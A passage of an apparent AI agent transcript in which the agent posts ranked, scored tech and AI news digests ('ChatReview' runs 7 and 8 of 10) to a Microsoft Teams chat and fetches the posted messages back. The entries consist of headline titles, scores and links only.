**20/35** (3+4+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104229841?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:09.841Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104229841?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 7/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nMajor UK research funders green-light AI for processing grant bids \u2014 20/35 (3+2+4+1+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\n21+ type of AI agent failure modes in enterprise solutions \u2014 20/35 (2+2+5+1+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAlibaba Scientific AI Model Beats Microsoft at Science Using One Grammar \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAMD will reinstate memory encryption on Ryzen 9000 CPUs via BIOS update in July \u2014 20/35 (2+2+1+1+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nCryptoBandits Malware Doubles as a Backdoor, Abuses Tor \u2014 20/35 (2+4+1+1+5+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nExclusive | Microsoft\u2019s Satya Nadella: We Can\u2019t Let AI Giants Eat the Economy \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nGoogle and Microsoft Team Up to Beat Back Anthropic and OpenAI \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nIndia\u2019s enterprise AI moment: From systematic adoption to agentic scale \u2014 20/35 (2+2+5+1+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nJohn Jumper to join Anthropic \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nOpenAI hires former Trump AI official Dean Ball \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104231427\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104231427\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104231427?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:11.427Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 7/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Major UK research funders green-light AI for processing grant bids](https://news.google.com/rss/articles/CBMi1gFBVV95cUxNX0hPcUVqNnBITWplY0FEVHlkSFIzbXAzX2NacG1xTDNZaFFHOTNGMGE4eTM5c0tQbFRtaTgwRU5LbVd4LUE3alV5X1haY01UUFFWcWd1c0MtcTNXLS1nRWVSTUpyLW9pUnd4QldKc3Y1N2swWDYzX0I0c0hvV1ozTHpVcmtfMWRBLTQ3Z2lnWmVHTWxyTkJFWFQ5c1RpM3pMMDNxMmZTNXdSUG1yY0JHT3BLbFUwSHJ2eU9rcEViUzFpcWc2NzM1Um5wejFuM0M2NTFrVDl3?oc=5)** \u2014 **20/35** (3+2+4+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[21+ type of AI agent failure modes in enterprise solutions](https://news.google.com/rss/articles/CBMifEFVX3lxTE5tVGFsXzdhLVpadmF5MUZSNWN0ZTJqeFVCMUlfTFo4S0VuSG5UV29zcVplbzJzdWhlN0QwUmw4ZDFsd3JEdTFsTnZ0ZUVkMlBTcDdVeXZFanJYcDVMWnJOX00xTFd0blUzSTVvcm14aUpJaTBIZGxZMmdKdHk?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Alibaba Scientific AI Model Beats Microsoft at Science Using One Grammar](https://news.google.com/rss/articles/CBMiwgFBVV95cUxNZXllYndMcjUyWUVqaTI1LWlpU2QxMGVVTzBYSElOZ2EzaFhESkdKT1BDcVpGTEptVi1pd19DTGI0MTU0UjV5dEtJdUdFT2lMT21aVmNWbWZtQm5qZEJSR2dmaUV4VTM0UDRkaE8wSm1teU9aR3FJQkpPSmNNSWRPOGE1RWRobkJpVmRtT1lPUWxFUV9wRks5LW4tVkZhUHNVczAyZXVtQTRFcFBFbGg0SEFOVmJKUTZxaWtnaXR4bTJqUQ?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[AMD will reinstate memory encryption on Ryzen 9000 CPUs via BIOS update in July](https://www.tomshardware.com/pc-components/cpus/amd-will-reinstate-memory-encryption-on-ryzen-9000-cpus-through-a-bios-update-in-july-tsme-is-coming-back-after-valuable-community-feedback)** \u2014 **20/35** (2+2+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[CryptoBandits Malware Doubles as a Backdoor, Abuses Tor](https://news.google.com/rss/articles/CBMijAFBVV95cUxOVGxSdzl4VVlzakUtMjUyd2JTemFvQkJWMy1iU2ZIdHBjMkJXRzl6dzF5NEpWVV8yU2xKT1NRV2FDTUV5SzRiQk1yeWtnV0h3U0xpMFBaMjM2a0tQSmd1QTdWaVlTcWpHbVc2MkZMU3JUVF8wOFRlR2tFZ281S1h6QWdNZFRHZlJqRGRCTNIBkgFBVV95cUxOMG5rZ0xCUmlhejltUjh0ZWhZUVhyMy03aEtCNmV3R3hpaWVkMzFMQkZsODlXWmlraFNwTktBc1BZYlBxQ2FZMkh0Y1RVNmktSkVVZTN3RWlhVHp0VVdVcGRQMWtJUEpMSVVIQ1ZjalpWSGliZ09TZ0ItaHhLb2c1WUNaNmFyYWFUNjIwUHdncHgwQQ?oc=5)** \u2014 **20/35** (2+4+1+1+5+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  6. **[Exclusive | Microsoft\u2019s Satya Nadella: We Can\u2019t Let AI Giants Eat the Economy](https://news.google.com/rss/articles/CBMioAFBVV95cUxPZW1mUi1WMDBVS2RxVVp1bEpLSmcwWnZoWU9qS1FqY3lGRXBmQjhwZElGNlk2T3lEVEREbFdUNWpBYkdvTDlyaXIwdnhCVXVyaFplVlFzMFZqQVRtVTFlMmo5V0V2VFlSQVBpSnpqdmlnQy1qUG5KY1J0RjZ3ODdDQ05wVnFDQnZtb1F6Y3pzS0dxcGhQZzBuamVGa1F6cGps?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  7. **[Google and Microsoft Team Up to Beat Back Anthropic and OpenAI](https://news.google.com/rss/articles/CBMipAFBVV95cUxPRHl0VXE5WDJsUnU1MHlpZW11S3lqVXh4cDNtY2Y0SUhzTjRKYjFGZl9iZ0tVY1NENWdTbU5oNHZuaHNXbTdwMjJZdUZjWTdGckNfeDY0NUJvSlZfcUxGWnF2YjF0aGgyNE5LY2JIOVowSjN3eEM3Ylhhdi1Wb1ltbW5qd3MxUFljR0tjV2NiVlotbkFyR0dheWtyZ1JYVF95RU5ZTw?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[India\u2019s enterprise AI moment: From systematic adoption to agentic scale](https://news.google.com/rss/articles/CBMi4wFBVV95cUxPMGJnM19ocy1Yc19BUHFPVW9yREw3STFQNEFZWTRnV2UtSUlmWmw0b0hLcTRKX1VSeUpHZS11MzhDbFA1VE9rX05wR2xFQmxXUnRkRkVEWDZBRUJFZFJPUFZ4QnU4VTEyaFluUUh4aUlUTGJRLTFwU2FFUE9aN2NZWndHWVRMaHZGQVNDc2dST0FMR0Q1XzROOU1DVWNvRVZSMEdqeEJ0ODMwNFNOQnVHQjJHalJtVWRJZVhBQzRKTlBEeHIxQlZpS0VyS3RRczJUc2FTWUdPcGVNek8xenJBeEhWNA?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[John Jumper to join Anthropic](https://twitter.com/JohnJumperSci/status/2068001285173834106)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[OpenAI hires former Trump AI official Dean Ball](https://news.google.com/rss/articles/CBMingFBVV95cUxOSVcyTmUwcURQTi1oUzkyNjRHYjlPMUpPMFZWTnczZXM4dzlvNTkxQXEwZzFQZXUtMUZGYzdBSi1NengwUnVaSDVvMGVmNnEyQlhBZjVWdXBoUXlxSGp3aDFlbjF2UFRPekllTGhVM3BxdUhxME1rUW9ZcTZ1a0lKRXotV29PZVJSUGRVbVZRYm5tVEhhQnNfMTRIRkhlUQ?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104231427?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104231427\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 7/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Major UK research funders green-light AI for processing grant bids](https://news.google.com/rss/articles/CBMi1gFBVV95cUxNX0hPcUVqNnBITWplY0FEVHlkSFIzbXAzX2NacG1xTDNZaFFHOTNGMGE4eTM5c0tQbFRtaTgwRU5LbVd4LUE3alV5X1haY01UUFFWcWd1c0MtcTNXLS1nRWVSTUpyLW9pUnd4QldKc3Y1N2swWDYzX0I0c0hvV1ozTHpVcmtfMWRBLTQ3Z2lnWmVHTWxyTkJFWFQ5c1RpM3pMMDNxMmZTNXdSUG1yY0JHT3BLbFUwSHJ2eU9rcEViUzFpcWc2NzM1Um5wejFuM0M2NTFrVDl3?oc=5)** \u2014 **20/35** (3+2+4+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[21+ type of AI agent failure modes in enterprise solutions](https://news.google.com/rss/articles/CBMifEFVX3lxTE5tVGFsXzdhLVpadmF5MUZSNWN0ZTJqeFVCMUlfTFo4S0VuSG5UV29zcVplbzJzdWhlN0QwUmw4ZDFsd3JEdTFsTnZ0ZUVkMlBTcDdVeXZFanJYcDVMWnJOX00xTFd0blUzSTVvcm14aUpJaTBIZGxZMmdKdHk?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Alibaba Scientific AI Model Beats Microsoft at Science Using One Grammar](https://news.google.com/rss/articles/CBMiwgFBVV95cUxNZXllYndMcjUyWUVqaTI1LWlpU2QxMGVVTzBYSElOZ2EzaFhESkdKT1BDcVpGTEptVi1pd19DTGI0MTU0UjV5dEtJdUdFT2lMT21aVmNWbWZtQm5qZEJSR2dmaUV4VTM0UDRkaE8wSm1teU9aR3FJQkpPSmNNSWRPOGE1RWRobkJpVmRtT1lPUWxFUV9wRks5LW4tVkZhUHNVczAyZXVtQTRFcFBFbGg0SEFOVmJKUTZxaWtnaXR4bTJqUQ?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[AMD will reinstate memory encryption on Ryzen 9000 CPUs via BIOS update in July](https://www.tomshardware.com/pc-components/cpus/amd-will-reinstate-memory-encryption-on-ryzen-9000-cpus-through-a-bios-update-in-july-tsme-is-coming-back-after-valuable-community-feedback)** \u2014 **20/35** (2+2+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[CryptoBandits Malware Doubles as a Backdoor, Abuses Tor](https://news.google.com/rss/articles/CBMijAFBVV95cUxOVGxSdzl4VVlzakUtMjUyd2JTemFvQkJWMy1iU2ZIdHBjMkJXRzl6dzF5NEpWVV8yU2xKT1NRV2FDTUV5SzRiQk1yeWtnV0h3U0xpMFBaMjM2a0tQSmd1QTdWaVlTcWpHbVc2MkZMU3JUVF8wOFRlR2tFZ281S1h6QWdNZFRHZlJqRGRCTNIBkgFBVV95cUxOMG5rZ0xCUmlhejltUjh0ZWhZUVhyMy03aEtCNmV3R3hpaWVkMzFMQkZsODlXWmlraFNwTktBc1BZYlBxQ2FZMkh0Y1RVNmktSkVVZTN3RWlhVHp0VVdVcGRQMWtJUEpMSVVIQ1ZjalpWSGliZ09TZ0ItaHhLb2c1WUNaNmFyYWFUNjIwUHdncHgwQQ?oc=5)** \u2014 **20/35** (2+4+1+1+5+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  6. **[Exclusive | Microsoft\u2019s Satya Nadella: We Can\u2019t Let AI Giants Eat the Economy](https://news.google.com/rss/articles/CBMioAFBVV95cUxPZW1mUi1WMDBVS2RxVVp1bEpLSmcwWnZoWU9qS1FqY3lGRXBmQjhwZElGNlk2T3lEVEREbFdUNWpBYkdvTDlyaXIwdnhCVXVyaFplVlFzMFZqQVRtVTFlMmo5V0V2VFlSQVBpSnpqdmlnQy1qUG5KY1J0RjZ3ODdDQ05wVnFDQnZtb1F6Y3pzS0dxcGhQZzBuamVGa1F6cGps?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  7. **[Google and Microsoft Team Up to Beat Back Anthropic and OpenAI](https://news.google.com/rss/articles/CBMipAFBVV95cUxPRHl0VXE5WDJsUnU1MHlpZW11S3lqVXh4cDNtY2Y0SUhzTjRKYjFGZl9iZ0tVY1NENWdTbU5oNHZuaHNXbTdwMjJZdUZjWTdGckNfeDY0NUJvSlZfcUxGWnF2YjF0aGgyNE5LY2JIOVowSjN3eEM3Ylhhdi1Wb1ltbW5qd3MxUFljR0tjV2NiVlotbkFyR0dheWtyZ1JYVF95RU5ZTw?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[India\u2019s enterprise AI moment: From systematic adoption to agentic scale](https://news.google.com/rss/articles/CBMi4wFBVV95cUxPMGJnM19ocy1Yc19BUHFPVW9yREw3STFQNEFZWTRnV2UtSUlmWmw0b0hLcTRKX1VSeUpHZS11MzhDbFA1VE9rX05wR2xFQmxXUnRkRkVEWDZBRUJFZFJPUFZ4QnU4VTEyaFluUUh4aUlUTGJRLTFwU2FFUE9aN2NZWndHWVRMaHZGQVNDc2dST0FMR0Q1XzROOU1DVWNvRVZSMEdqeEJ0ODMwNFNOQnVHQjJHalJtVWRJZVhBQzRKTlBEeHIxQlZpS0VyS3RRczJUc2FTWUdPcGVNek8xenJBeEhWNA?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[John Jumper to join Anthropic](https://twitter.com/JohnJumperSci/status/2068001285173834106)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[OpenAI hires former Trump AI official Dean Ball](https://news.google.com/rss/articles/CBMingFBVV95cUxOSVcyTmUwcURQTi1oUzkyNjRHYjlPMUpPMFZWTnczZXM4dzlvNTkxQXEwZzFQZXUtMUZGYzdBSi1NengwUnVaSDVvMGVmNnEyQlhBZjVWdXBoUXlxSGp3aDFlbjF2UFRPekllTGhVM3BxdUhxME1rUW9ZcTZ1a0lKRXotV29PZVJSUGRVbVZRYm5tVEhhQnNfMTRIRkhlUQ?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104231427?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:11.427Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104231427?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 8/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nReinforcement learning towards broadly and persistently beneficial models \u2014 20/35 (2+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSecuring the Agentic Enterprise: It Starts with the Data \u2014 20/35 (2+2+5+1+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSoftware-defined automation adds ladder logic and reaches more users \u2014 20/35 (2+4+1+5+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nUndo raises USD $37 million for AI debugging tools \u2014 20/35 (2+2+4+4+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nUnreal Engine 6 is bringing generative AI into its development tools \u2014 20/35 (2+2+4+4+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nWhy Amazon hates 'human-in-the-loop' AI governance \u2014 20/35 (2+2+4+1+1+5+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nAccenture Acquires IndX to Boost AI Manufacturing Solutions \u2014 19/35 (4+2+4+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nNorway imposes near ban on AI in elementary school \u2014 19/35 (4+2+4+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSPARC AI Demonstrates 43km Drone Target Acquisition, Expands Overwatch Autonomous Target Recognition System \u2014 19/35 (4+2+4+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAI demand pushes enterprise storage market into faster growth phase \u2014 19/35 (2+2+4+1+1+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104233006\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104233006\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104233006?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:13.006Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 8/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Reinforcement learning towards broadly and persistently beneficial models](https://news.google.com/rss/articles/CBMiVEFVX3lxTE1Qb2x5UnRLeFpwNlpoRklPUkFGZi1uZGxlVmNybzhfWE43SDVwbF9yekZtNWRPQjA1WVNRaWpIV0ZfeXFMdW8wZnhHMHJockJqdVFVMg?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Securing the Agentic Enterprise: It Starts with the Data](https://news.google.com/rss/articles/CBMidEFVX3lxTE80bUNsRE11WEl0ajMtTDl1ZkFUUlZhTWxENnFGRk5jeXdVME83LVc2Sm1UNnhHVXZNQkZjdnIwUzBmUUNrREVHMDRqR2hEOWV6cl9XcEI3TjUtR05SekZnS0tJQm9NOExXTUsyX0tMUktpTU5Z?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Software-defined automation adds ladder logic and reaches more users](https://news.google.com/rss/articles/CBMingFBVV95cUxNWXRZZ19yUnAzeldnYUdqdk1mSnZsTl93U1FnTkFONUEyb2RLYUVvOC1waHZkSUc2SmdNS2dNZFZSZnNaRDN4YkFMQ1JDTDFIM0tVcFRSOWRNWmxxal9iS1YwZjVKRTh4S29SdkhONW9XZGlHX3doVzRmcm9CVk9jUmRGNHRKTndrdHBFTkZlbFB6NThLUnBjWS11Zm5IZw?oc=5)** \u2014 **20/35** (2+4+1+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Undo raises USD $37 million for AI debugging tools](https://news.google.com/rss/articles/CBMigwFBVV95cUxOc0gydTNZQktaRE5wdXU4MFM3T29Idm1ZNnB6TFFVbzlaejhtVjlwUWZxVG9pd3ZqSTEzM2Z5Z3dVVWFRYlRaMS1lQWJOcHNpeUZZTmlfMHpxMmx3dzZDT1lhQVpaX0FDUEZtUzR5M3JBSHNHQXJjQjlvVG1MQnFYdU5BUQ?oc=5)** \u2014 **20/35** (2+2+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  5. **[Unreal Engine 6 is bringing generative AI into its development tools](https://news.google.com/rss/articles/CBMirgFBVV95cUxQeXhNaFNxd2NmUFlXS1NWdlpMN1J0SzhQbXFYVXhvZTRaTmwwWV9CY3lMZUpaT09BRGc0MzltVm1QX3pHOS1CVUVzaVBOT3NkYWs1R2dIRW5ZeXk0RnFIRVlhSk1nMHFva0hudzk2MnFMUGxwd0xOMVEtUUFRQjBXYkRUMHA3MVlGTDF6QXFSRU0xc09lTm84ZDEyYzd1bGpBTFFPb3RpbnhiM0IzeEE?oc=5)** \u2014 **20/35** (2+2+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  6. **[Why Amazon hates 'human-in-the-loop' AI governance](https://news.google.com/rss/articles/CBMipwFBVV95cUxNMmNSOEo4X05OTV9EWEpmQndOSEtmcktxOHFLQXBKUm4tSWVZMm9QVk9zOGxJM3dUOXE3NFpndnBDVUpENmVyNHdyQW5hc1hTZkYzZEotdHZGS2FkODlYd1ZHVHNQNUV6ekl5LS03QThuaGIyXzFJbGM3M2RLdUFvLU1rR0sxTnlyNHpReTBpVThGaXY0XzJTcGtNZFpuV201a2lMYV9Saw?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Accenture Acquires IndX to Boost AI Manufacturing Solutions](https://news.google.com/rss/articles/CBMikAFBVV95cUxPNkZYOUh6MXNaQkxVY1dYTHhaRzNhNEtYRnNCbkxfTXNXRWIzYlp4MThqTGtxa081dkVaOXZDQmdiZ2x2VkRrWFkyeXAwelR6Tk5FWVY5UDhTRVlpQ3Rpa1Y3TmVQcVRPaHZxNnkxR05tQVUwRVoxMWJxU3JwV1JvWlc1VC04UWE2dDV3YURfZWQ?oc=5)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[Norway imposes near ban on AI in elementary school](https://www.reuters.com/technology/norway-imposes-near-ban-ai-elementary-school-2026-06-19/)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[SPARC AI Demonstrates 43km Drone Target Acquisition, Expands Overwatch Autonomous Target Recognition System](https://news.google.com/rss/articles/CBMi1wFBVV95cUxNVkFDYU1jRjNKdFZLbW04U1pLOFp0NGpzWWlFbWdENTZRSXQxMzBfT21NZDh3ZC05LXUtTjJkNlNDRTg0TkdmcFB2b1VOa2lSbEE4amZVeFhwZTZEd05TUTh6ay1Ca3hLa2FsblVyTFY0ZGpibHNFOVNSdC1SaTJvQ2x0OUw4c0ZlbUdhaW9HR1dUMnFGSWx1RGZhQ084QjNRTElaN1BuMzJHVzhuaDVJM1BrWThhQktpRXhwd2hDVkhsR3RVbUZGN1UybTl2VjRNYW0yMjEwRQ?oc=5)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[AI demand pushes enterprise storage market into faster growth phase](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPc0k4OGFKTnJUWVg1SXJRcUNwRnZRSktneUx5TlZPOThSbVplRHIwbW5idEFQSnYzNFpIei1JWnVsTzRFS0RPNi10UXFjMy1ObHJMXy1uRWtYM2pVMk1QNno0MTNvTzdWOTV1MjUwYjFWeDY2OGZXVU1sVEdidHRSc25feHlqZUo2anlKZkZXREtlYVVndnhvWjZ5TzZyRm1CWVVadFBlN0VoZTg?oc=5)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nDeveloper, cloud 